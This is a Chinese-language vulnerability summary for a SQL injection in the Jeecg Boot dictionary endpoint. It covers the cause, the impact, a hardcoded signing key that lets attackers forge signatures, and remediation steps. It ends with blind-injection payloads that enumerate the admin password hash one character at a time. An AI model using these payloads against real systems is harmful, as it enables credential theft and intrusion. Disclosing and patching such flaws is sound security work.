# Jeecg Boot SQL注入漏洞总结 ## 漏洞概述 * **漏洞编号**:#9491 * **漏洞类型**:SQL注入 (SQL Injection) * **受影响版本**:Jeecg Boot <= v3.9.1 * **漏洞位置**:`/sys/dict/loadDict/{dictCode}` 接口 * **漏洞成因**:后端代码将用户传入的 `keyword` 参数直接拼接到 MyBatis 的 `${filterSql}` 片段中,导致 SQL 注入。 ## 影响范围 * **权限要求**:低权限认证用户(Low-privileged authenticated user)。 * **危害**:攻击者可以利用盲注(Blind SQL Injection)推断非白名单敏感列(如 `sys_user` 表中的 `password` 和 `salt`),从而获取凭证材料。 * **防御绕过**:默认配置下的签名机制(Sign layer)被硬编码密钥保护,攻击者可伪造有效签名。 ## 修复方案 1. **代码层面**:替换字典搜索条件中的字符串拼接,改用参数化查询(Parameterized queries)。 2. **输入限制**:限制字典搜索输入为预期搜索字符的严格白名单,拒绝引号、布尔运算符和 SQL 函数语法。 3. **权限控制**:在 `/sys/dict/loadDict/*` 及相关字典接口上强制实施服务端授权,仅限内部用户访问。 4. **密钥管理**:从源代码默认配置中移除签名密钥,并使用安全生成的密钥轮换机制。 ## POC / 利用代码 **验证默认种子数据的谓词:** ```sql ' and username='admin' and substring(password,1,1)='c' and username like '%' ``` **True condition (返回非空结果):** ```sql ' and username='admin' and password like 'c%' and username like '%' ``` **False condition (返回空结果):** ```sql ' and username='admin' and password like 'x%' and username like '%' ``` **枚举密码哈希值的条件构造:** ```sql ' and username='admin' and password like 'c%' and username like '%' ' and username='admin' and password like 'ca%' and username like '%' ' and username='admin' and password like 'cda%' and username like '%' ```